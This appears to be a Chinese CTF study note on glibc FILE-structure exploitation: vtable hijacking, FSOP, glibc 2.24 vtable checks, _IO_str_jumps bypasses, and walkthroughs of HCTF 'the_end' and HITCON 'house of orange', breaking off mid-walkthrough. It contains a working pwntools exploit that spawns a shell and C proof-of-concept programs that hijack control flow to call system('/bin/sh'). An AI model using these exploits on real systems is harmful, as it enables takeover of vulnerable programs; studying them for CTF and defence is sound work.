IO_FILE_Related

字数统计: 8.7k字   |   阅读时长≈ 41分

FILE结构

深入学习一下 IO 攻击，本篇涉及的基本原理都只是从 CTF.wiki上总结的。然后找了几个比较典型的 IO 攻击例题。但是感觉对这块还得加强练习，不同的 libc 版本，攻击的方式也就有所不同。后续再总结对于 不同版本的 libc 的 IO 攻击。

FILE介绍

FILE 在 Linux 系统的标准IO库中是用于描述文件的结构，称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建，并分配在堆中。通常使用一个指向 FILE 结构的指针来接受该返回值。

FILE结构如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中的 FILE 结构会通过 chain域彼此链接形成一个链表，链表头部用全局变量 _IO_list_all 表示。通过该值可以遍历所有FILE结构体。

注意：也就是我们可以自己伪造一个 FILE 结构，然后通过修改 _IO_list_all 的链表头部的值来 将控制流劫持到 我们的 fake FILE结构中。

在标准 I/O 库中，每个程序启动时有三个文件流是自动打开的：stdin、stdout、stderr。在标准状态下，_IO_list_all 指向了一个有这些文件流构成的链表，但是这三个文件流位于 libc.so 的数据段，而 fopen 创建的文件流是分配在堆内存上的。

在 Libc.so 中可以找到 stdin\stdout\stderr 等符号，这些符号是指向 FILE结构的指针，真正的结构的符号是：

1
2
3
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

注意： 修改stdin的 FILE 结构中的 _IO_buf_base 和 _IO_buf_base 可以 实现从 _IO_buf_base 处 任意写。

在 _IO_FILE 结构外包裹这另一种结构 _IO_FILE_Plus，其中包含了一个重要的指针 vtable 指向了一系列的函数指针。

在 libc2.23 版本下，32位的 vtable 偏移为 0x94，64位偏移为 0xd8

1
2
3
4
5
struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

vtable 是 IO_jump_t 类型的指针，IO_jump_t 中保存了一些函数指针，而标准 IO 函数中会调用这些函数指针：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

fread

fread 是标准 IO 库函数，作用是从 文件流中读数据，函数原型如下：

1
size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
  • buffer 存放读取数据的缓冲区
  • size: 指定每个记录的长度
  • count: 指定记录的个数
  • stream：目标文件流
  • 返回值：返回读取到数据缓冲区的记录个数

fread 的真正的功能实现在子函数 _IO_sgetn 中：

1
2
3
4
5
6
7
8
9
10
11
_IO_size_t
_IO_fread (buf, size, count, fp)
     void *buf;
     _IO_size_t size;
     _IO_size_t count;
     _IO_FILE *fp;
{
  ...
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  ...
}

在 _IO_sgetn 函数中会调用 _IO_XSGETN，而 _IO_XSGETN 是 _IO_FILE_plus.vtable 中的函数指针，在调用这个函数时会首先取出 vtable 中的指针然后再进行调用：

1
2
3
4
5
6
7
8
_IO_size_t
_IO_sgetn (fp, data, n)
     _IO_FILE *fp;
     void *data;
     _IO_size_t n;
{
  return _IO_XSGETN (fp, data, n);
}

在默认情况下函数指针是指向 _IO_file_xsgetn 函数的：

1
2
3
4
5
6
7
8
if (fp->_IO_buf_base
        && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
      {
        if (__underflow (fp) == EOF)
      break;

        continue;
      }

fwrite

fwrite 是标准 IO 库函数，作用是向文件流写入数据，函数原型如下：

1
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
  • buffer: 是一个指针，对 fwrite 来说，是要写入数据的地址;
  • size: 要写入内容的单字节数;
  • count: 要进行写入 size 字节的数据项的个数;
  • stream: 目标文件指针;
  • 返回值：实际写入的数据项个数 count。

fwrite 的函数名为_IO_fwrite。在 _IO_fwrite 中主要是调用 _IO_XSPUTN 来实现写入的功能。

_IO_XSPUTN 位于 _IO_FILE_plus 的 vtable中，调用该函数需要首先取出 vtable 中的指针，再跳过去进行调用。

1
written = _IO_sputn (fp, (const char *) buf, request);

在 _IO_XSPTUN 对应的默认函数 _IO_new_file_xsputn 中会调用同样位于 vtable 中的 _IO_OVERFLOW

1
2
/* Next flush the (full) buffer. */
     if (_IO_OVERFLOW (f, EOF) == EOF)

_IO_OVERFLOW 对应的函数是 _IO_new_file_overflow

1
2
3
4
5
6
if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;

在 _IO_new_file_overflow 内部会调用系统接口 write 函数。

fopen

fopen 在标准 IO 库中用于打开文件，原型如下：

1
FILE *fopen(char *filename, *type);
  • filename: 目标文件的路径
  • type: 打开方式的类型
  • 返回值: 返回一个文件指针

在 fopen 内部会创建 FILE 结构并进行一些初始化操作，

首先在 fopen对应的函数 __fopen_interlnam 内部会调用 malloc 函数，分配FILE 结构的空间，因此可以获知 FILE 结构是存储在堆上的

1
*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

之后会为创建的 FILE 初始化 vtable，并调用 _IO_file_init 进一步初始化操作。

1
2
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);

在 _IO_file_init 函数的初始化操作中，会调用 _IO_link_in 把新分配的 FILE 链入 _IO_list_all 为起始的 FILE 链表中。

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_link_in (fp)
     struct _IO_FILE_plus *fp;
{
    if ((fp->file._flags & _IO_LINKED) == 0)
    {
      fp->file._flags |= _IO_LINKED;
      fp->file._chain = (_IO_FILE *) _IO_list_all;
      _IO_list_all = fp;
      ++_IO_list_all_stamp;
    }
}

之后 fopen_internal 函数会调用 _IO_file_fopen 函数打开目标文件，IO_file_fopen 会根据用户传入的打开模式进行打开操作，总之最后会调用到系统接口 open 函数：

1
2
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
    return __fopen_maybe_mmap (&new_f->fp.file);
  • 使用 malloc 分配 FILE 结构
  • 设置 FILE 结构的 vtable
  • 初始化分配的 FILE 结构
  • 将初始化的 FILE 结构链入 FILE 结构链表中
  • 调用系统调用打开文件

fclose

fclose 是标准 IO 库中用于关闭已打开文件的函数，其作用与 fopen 相反。

1
int flcose(FILE *stream)

功能： 关闭一个文件流，使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中，并释放文件指针和有关的缓冲区

fclose首先会调用 _IO_unlink_it 将指定的 FILE 从 _chain 链表中拖链

1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

之后会调用 _IO_file_close_it 函数，_IO_file_close_it 会调用系统接口 close 关闭文件

1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);

最后调用 vtable 中的 _IO_FINISH，其对应的是 _IO_file_finish 函数，其中会调用 free 函数释放之前分配的 FILE 结构

1
_IO_FINISH (fp);

printf/puts

printf 和 puts 是常用的输出函数，在 printf 的参数是以 ‘\n’ 结束的纯字符串时，printf 会被优化为 puts 函数并去除换行符。

puts 在源码中实现的函数是 _IO_puts，这个函数的操作与 fwrite 的流程大致相同，函数内部同样会调用 vtable 中的 _IO_sputn，结构会执行 _IO_new_file_xsputn，最后会调用到系统接口 write 函数。

printf 的调用回溯栈如下，同样通过 _IO_file_xsputn 实现：

1
2
3
4
5
6
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

伪造 vtable 劫持程序流程

根据 Linux 中文件流的特性(FILE),可知Linux 中的一些常见的 IO 操作函数都需要经过 FILE 结构进行处理。特别是 _IO_FILE_plus 结构中存在 vtable，一些函数会取出 vtable 中的指针进行调用。

因此 伪造 vtable 劫持程序流程的中心思想就是针对 _IO_FILE_plus 的 vtable 动手脚，通过把 vtable 指向我们控制的内存，并在其中布置函数指针来实现。

因此 vtable 劫持分为两种，一种是直接改写 vtable 中的函数指针，通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存，然后在其中布置函数指针。

2018 HCTF the_end

image-20200827135945981

程序存在可以任意位置写 5 字节，除了 canary 保护全开。

思路：

  • 利用的是在程序调用 exit 后，会遍历 _IO_list_all，调用 _IO_2_1_stdout 下的 vatable 中 _setbuf
  • 可以先修改两个字节在当前 _vtable附近伪造一个 fake_vtable ，然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget

其实，我感觉可以直接修改 当前的 _IO_file_jumps 下的 stebuf 的指针为 One_gadget地址。可以直接 getshell。

这里不能直接修改 _IO_2_1_stdout_ 结构体的 vtable指针，因为这是虚表指针，执行的是 指向的地址里的虚表函数。

不能直接修改 直接虚表里的 _setbuf为 one_gadget，是因为在 2.23之后该 虚表不能够修改。 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)

rem = 0
if rem ==1:
    p = remote('150.109.44.250',20002)
    p.recvuntil('Input your token:')
    p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):
	p.send(p64(vtables+i))
	p.send(p64(fake_vtable)[i])


for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

FSOP

FSOP 是 File Stream Oriented Programming 的缩写，从 FILE 介绍得知进程内所有的 _IO_FILE 结构会使用 _chain 域相互连接行程一个链表，这个链表的头部由 _IO_list_all 维护。

FSOP 的核心思想是劫持 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项，但是单纯的伪造只是构造了数据还需要某种方法进行触发。 FSOP选择的触发方法是调用 _IO_flush_all_lockp，这个函数会刷新 _IO_list_all 链表中所有项的文件流。相当于对每个 FILE 调用 fflush，也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

image-20200827181939804

而 _IO_flush_all_lockp 不需要攻击者手动调用，在一些情况下这个函数会被系统调用。

  1. 当libc 执行 abort 流程时
  2. 当执行 exit 函数时
  3. 当执行流从 main 函数返回时

FSOP攻击条件

需要获知 Libc.so基址，因为 _IO_list_all 是作为全局变量储存在 libc.so 中的，不泄露 Libc 基址就不能改写 _IO_list_all

之后需要用任意地址写把 _IO_list_all 的内容改为指向我们可控内存的指针。

之后的问题是在可控内存中布置什么数据，需要布置一个理想函数的 vtable 指针。但是为了能够让我们构造的 fake_FILE 能够正常工作，还需要布置一些其他数据。这里依据是我们前面给出的：

1
2
3
4
5
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }

即：

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

glibc 2.24下的 IO_FILE的利用

在 2.24 版本的 glibc 中，全新加入了针对 _IO_FILE_plus 的vtable 劫持的检测措施。glibc 会在调用虚函数之前首先检查 vtable 地址的合法性，首先会验证 vtable 是否位于 _IO_vtable 段中，如果满足条件就正常执行，否则会调用 _IO_vtable_check 做进一步检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Check if unknown vtable pointers are permitted; otherwise,
   terminate the process.  */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;，紧接着会判断 vtable - start_libc_IO_vtables 的 offset ，如果这个 offset 大于 section_length , 即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables 那么就会调用 _IO_vtable_check() 这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果 vtable 是非法得，则会引发 abort

这里得检查使得以往使用 vtable 进行利用的技术很难实现。

新的利用技术

fileno 与缓冲区的相关利用

在 vtable 难以被利用之后，利用的关注点从 vtable 转移到 _IO_FILE 结构内部的域中。前面介绍过 _IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息。其中有一些域是表示调用诸如 fwrite、fread 等函数时写入地址或读地址的。如果可以控制这些数据就可以实现任意地址写或任意地址读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
};

因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr，因此这种方式可以不需要进程中存在文件操作，通过 scanf\printf 一样可以进行利用。

在 _IO_FILE 中 _IO_buf_base 表示操作的起始地址，__IO_buf_end 表示结束地址，通过控制这两个数据可以实现控制读写的操作。

示例

1
2
3
4
5
6
7
8
9
10
11
#include "stdio.h"

char buf[100];

int main()
{
 char stack_buf[100];
 scanf("%s",stack_buf);
 scanf("%s",stack_buf);

}

未执行 scanf前，_IO_2_1_stdin_结构体中各缓冲区如下，缓冲区都为0

image-20201025213210500

执行 scanf之后，_IO_2_1_stdin_结构体中各缓冲区如下，可以看到 read_base和 write_base和 buf_base 都是我们输入字符串的开始地址，而 read_end 则是我们输入字符串的结束后一个地址，read_ptr 是我们输入的字符串末尾地址。 也就是我们的输入与 read_ptr 、read_base、read_end三个指针有关。而 read 和 write 相关的函数其缓冲区 都是与 buf缓冲区有关的。我们也可以从下图知道 buf_end 是我们的 输入输出缓冲区的大小。

image-20201025213319715

第二次输入时，_IO_2_1_stdin_结构体区如下，可以发现 read_ptr 和 read_end已经更新，也就是说我们每次的输入都是调用了 _IO_2_1_stdin这个结构体，并且先存储到了我们的 输入输出缓冲区中。

image-20201025213727182

也就是说，如果我们想要修改 我们输入的字符的位置，只需要修改 buf_base 和 buf_end指针即可。我们即可实现任意地址输入。

_IO_str_jumps -> overflow

libc 中不仅仅只有 _IO_file_jumps 这么一个 vtable，还有一个叫 __IO_str_jumps的，这个 vtable 不再 check范围内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

如果能设置文件指针的 vtable 为 _IO_str_jumps 就能调用不一样的文件操作函数。这里以 _IO_str_overflow 为例子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)// pass
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in 
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)//pass 一般会通过
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);

      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

利用以下代码来劫持程序流程：

1
2
new_buf
  = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

几个条件 bypass：

  1. fp-> _flags & _IO_NO_WRITES 为假
  2. (pos = fp-> _IO_write_ptr - fp-> _IO_write_base) >= ((fp-> _IO_buf_end - fp-> _IO_buf_base) + flush_only(1))
  3. fp-> _flags & _IO_USER_BUF(0x01) 为假
  4. 2*(fp-> _IO_buf_end - fp-> _IO_buf_base) +100 不能为负数
  5. new_size = 2 * (fp-> IO_buf_end - fp-> _IO_buf_base) + 100；应当指向 /bin/sh 字符串对应的地址
  6. fp + 0xe0 指向 system 地址

构造

1
2
3
4
5
6
7
8
9
10
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2 

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps - 0x18

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    // unsorted bin attack
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    // _IO_str_overflow conditions
    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
    // top[0] = ~1;
    // top[0] &= ~8;
    top[0] = 0;
    top[4] = 0; // write_base
    top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
    top[7] = 0; // buf_base
    top[8] = top[5] - 1; // buf_end
    // house_of_orange conditions
    top[1] = 0x61;

    top[20] = (size_t) &top[18];
    top[21] = 2;
    top[22] = 3;
    top[24] = -1;
    top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址
    top[28] = (size_t) &winner;

    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);
    return 0;
}
int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

_IO_str_jumps->finish

原理与上面的 _IO_str_jumps->overflow 类似

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //[fp+0xe8]
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

条件

  1. _IO_buf_base 不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

构造如下：

1
2
3
4
5
6
7
8
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    // unsorted bin attack
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    // _IO_str_finish conditions
    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack

    top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
    top[7] = ((size_t)&binsh_in_libc); // buf_base

    // house_of_orange conditions
    top[1] = 0x61;
    top[5] = 0x1 ; //_IO_write_ptr
    top[20] = (size_t) &top[18];
    top[21] = 2;
    top[22] = 3;
    top[24] = -1;
    top[27] = (size_t) stdin - 0x33f0 - 0x18;
    top[29] = (size_t) &winner;
        top[30] = (size_t) &top[30];
    malloc(10);
    return 0;
}
int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

2016-hitcon house of orange

程序分析

image-20200828093853595

在upgrade中存在堆溢出，此外程序所有的保护都开了，需要leak libc地址和 heap地址，这里如何实现地址泄露也是一个难点。

1.利用堆溢出修改 top chunk的size 较小；

2.申请一个超过top chunk的 fake size 的chunk，将现有 top chunk放入到 unsorted bin中；

3.如果我们接下来申请一个large chunk，由于是用malloc 申请的，所以 该large chunk 块里 的 fd 和 bk 指针会存储 main_arena 地址（即libc 地址），并在 fd 和 bk 指针后面会存储当前的堆块地址。

4.然后就要通过 FSOP 劫持 程序流程，在最后堆错误，打印错误函数时，getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$1 = {
  file = {
    _flags = -72540026, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7fb7d4916620 <_IO_2_1_stdout_>, 
    _fileno = 2, 
    _flags2 = 0, 
    _old_offset = -1, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "", 
    _lock = 0x7fb7d4917770 <_IO_stdfile_2_lock>, 
    _offset = -1, 
    _codecvt = 0x0, 
    _wide_data = 0x7fb7d4915660 <_IO_wide_data_2>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = 0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7fb7d49146e0 <_IO_file_jumps>
}

漏洞利用

泄露地址之后，主要关注 地址有：

  • _IO_list_all 地址，这个地址是 文件 _IO_FILE 开始遍历的地址，修改这里 可以试文件链到我们的 fake IO_FILE_STRUCT

  • fake_IO_struct 中的几个结构：file->mode < 0； file->write_ptr > file->write_base ；file->vtable 指向我们的 fake_IO_FILE_jumps

  • 伪造 fake_IO_FILE_jumps 中的 第四个 _IO_OVERFLOW 为 system地址。并在 fake_IO_struct 的头部放上 /bin/sh\x00

  • 漏洞触发，最后 只要malloc 错误就行，比如 unsortedbin 的指针此时不正确，再申请堆块 就会 报错。

然后想要劫持 IO_FILE 到我们伪造的 fake_FILE，需要我们将 unsortedbin chunk的 bk 指针设为 IO_list_all-0x10，然后当我们分配 unsortedbin 时，就会将 我们当前的 Unosrtedbin 的地址写入 IO_list_all中。这样程序malloc 错误遍历 IO_FILE 时就会首先遍历 我们的 fake_FILE。

  1. 首先将 unsortedbin 的 bk指针改为 _IO_list_all - 0x10 的地址

